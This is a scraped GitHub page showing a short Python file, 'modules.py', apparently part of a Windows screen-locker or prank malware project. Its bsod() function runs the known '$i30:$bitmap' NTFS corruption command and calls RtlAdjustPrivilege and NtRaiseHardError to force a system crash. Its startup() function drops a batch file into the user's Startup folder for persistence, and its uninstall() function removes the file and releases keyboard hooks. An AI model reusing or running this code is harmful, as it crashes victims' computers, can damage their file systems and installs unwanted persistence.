-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathmodules.py
More file actions
34 lines (22 loc) · 800 Bytes
/
modules.py
File metadata and controls
34 lines (22 loc) · 800 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /usr/bin python
# -*- coding: utf-8 -*-
import getpass
import os
import keyboard
import ctypes
import subprocess
import ctypes.wintypes
def bsod():
subprocess.call("cd C:\:$i30:$bitmap",shell=True)
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.wintypes.DWORD()))
def startup(path):
USER_NAME = getpass.getuser()
global bat_path
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(bat_path + '\\' + "open.bat", "w+") as bat_file:
bat_file.write(r'start "" %s' % path)
def uninstall(wind):
wind.destroy()
os.remove(bat_path + '\\' + "open.bat")
keyboard.unhook_all()